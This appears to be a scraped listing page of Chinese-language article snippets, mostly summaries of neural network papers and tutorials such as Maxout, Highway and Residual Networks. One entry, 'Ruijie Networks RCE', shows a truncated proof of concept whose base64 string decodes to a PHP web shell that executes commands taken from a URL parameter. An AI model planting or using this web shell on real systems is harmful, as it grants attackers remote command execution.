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Maxout Networks

我们考虑的问题是如何设计模型来利用最近引入的近似模型平均技术(dropout)。我们定义了一个简单的新模型maxout(之所以这样命名,是因为它的输出是一组输入...

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Highway Networks

导读 本文讨论了深层神经网络训练困难的原因以及如何使用Highway Networks去解决深层神经网络训练的困难,并且在pytorch上实现了Highway Networks。 一 、Highway Networks 与 Deep Networks 的关系 深层神经网络相比于浅层神经网络具有更好的效果,在很多方面都已经取得了很好的效果,特别是在图像处理方面已经取得了很大的突破, 2015年由Rupesh Kumar Srivastava等人受到LSTM门机制的启发提出的网络结构(Highway Networks)很好的解决了训练深层神经网络的难题,Highway Networks 四、Highway BiLSTM Networks Highway BiLSTM Networks Structure Diagram 下图是 Highway BiLSTM Networks 结构图: Networks 在这个结构图中,Highway Networks第 n - 1 层的输出作为第n层的输入 ?

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    Nerual NetWorks

    Common nerual NetWorks FF Feed forward neural networks 前向神经网络,信息从前向后传播。 CNN Convolutional neural networks 卷积神经网络,他们最初用来做图像处理,后来也用在其他类型的输入数据比如音频。 RNN Recurrent neural networks 周期神经网络是带时间周期的FFNN:他们不是无状态的;他们在时间上有相关性。

    21750

    【连载15】Residual Networks、Maxout Networks和Network in Network

    公众号后台回复“python“,立刻领取100本机器学习必备Python电子书 Residual Networks‍ 残差网络在《Deep Residual Learning for Image Recognition 与Highway Networks相比:- HN的transform gate和carry 恒等映射‍ 恒等映射在深度残差网络中究竟扮演什么角色呢? 在《Identity Mappings in Deep Residual Networks》中作者做了分析,a为原始block结构,b为新的结构。 ? 原始结构: ? 新结构: ? 模型集成角度看残差网络‍ 《Residual Networks Behave Like Ensembles of Relatively Shallow Networks》中把残差网络做展开,其实会发现以下关系 Maxout Networks‍ Goodfellow等人在《Maxout Networks》一文中提出,这篇论文值得一看。

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    Convolutional Neural Networks

    计算机视觉(Computer Vision)包含很多不同类别的问题,如图片分类、目标检测、图片风格迁移等等。

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    Build Residual Networks

    Residual Networks可以让我们训练更深的网络。 K.set_image_data_format('channels_last') K.set_learning_phase(1) 1 - The problem of very deep neural networks A huge barrier to training them is vanishing gradients: very deep networks often have a gradient signal SVG(model_to_dot(model).create(prog='dot', format='svg')) What you should remember: Very deep "plain" networks Very deep Residual Networks are built by stacking these blocks together.

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    Modern Hopfield Networks

    本文来自NVIDIA GTC21的一次技术分享视频,演讲者是Sepp Hochreiter,主要讲述了他们关于Modern Hopfield Networks的相关工作,即论文:《Hopfield Networks 首先,Hochreiter对1982年提出的Standard Hopfield Networks(HNN)进行了简单回顾。具体来说,HNN由N个二元网络单元( ? 2016年,Hopfield与Krotov等人提出了一种新的深度学习范式:Modern Hopfield Networks,Demircigil等人在2017年对其进行了改进。 接下来,Hochreiter对Modern Hopfield Networks(MHNN)进行了阐述。

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    Networks 13 - 代理

    代理是一种特殊网络服务, 允许一个网络终端通过这个服务与另一个网络终端进行非直接的连接.

    12230

    Generative Adversarial Networks

    Generative Adversarial Networks 上一篇讲述了VAEs(变分自编码器),那么这次继续学习一下另一个生成模型——GANs。

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    Graph Attention Networks

    Graph Attention Networks paper:https://mila.quebec/wp-content/uploads/2018/07/d1ac95b60310f43bb5a0b8024522fbe08fb2a482 Graph Attention Networks 详细X   没有英汉互译结果 请尝试网页搜索

    64810

    Networks 08 - KCP

    KCP是一个快速可靠协议, 能以比TCP浪费10%-20%的带宽的代价, 换取平均延迟降低30%-40%, 且最大延迟降低三倍的效果. 纯算法实现, 不负责底层...

    15220

    Ruijie Networks RCE

    echo "PD9waHAKJGNtZD0kX0dFVFsnY21kJ107CnN5c3RlbSgkY21kKTsKPz4K" | base64 -d POC:...

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    理解Spatial Transformer Networks

    Spatial Transformer Networks. CVPR, 2016 [2] Ghassen HAMROUNI. Spatial Transformer Networks Tutorial:©Copyright2017,PyTorch.https://pytorch.org/tutorials/intermediate

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    Recurrent Neural Networks (RNNs)

    许多应用涉及时间依赖,或基于时间依赖。这表示我们当前输出不仅仅取决于当前输入,还依赖于过去的输入。 RNN存在一个关键缺陷,因为几乎不可能捕获超过8或10步的...

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    Introduction to debugging neural networks

    本文译自:Russell Stewart's Blog -> Introduction to debugging neural networks 同步发布于个人博客,转载注明出处。 ?

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    16 Spatial Transformer Networks

    Spatial transformer networks[J]. 2015:2017-2025. 虽然CNN的效果很好,但是仍然缺乏对数据的空间不变能力,从而限制了计算和参数的效率。 对于整数采样kernel,公式简化为 取x+0.5下界整数,δ函数为Kronecker delta函数 对于双线性采样kernel,公式简化为 该公式可导 Spatial Transformer Networks

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    The Physical Layer(Computer networks

    Computer networks——The Physical Layer •Theoretical Basis for Data Communications •Guided Transmission

    15420

    Convolutional Neural Networks: Application

    X_train_orig, Y_train_orig, X_test_orig, Y_test_orig, classes = load_dataset()

    21120

    Visualizing and Understanding Convolutional Networks

    本文针对 AlexNet 网络非凡效果,主要分析它为什么好,怎么改进。为此引入了一个 CNN网络的可视化技术,借此技术分析CNN网络中间各层都学习到什么样的特征...

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    Supervised Learning with Neural Networks

    神经网络有很多的种类,考虑到它们的使用效果,有些使用起来恰到好处,但事实表明,到目前几乎所有由神经网络创造的经济价值,本质上都离不开一种叫做监督学习的机器学习类...

    18710

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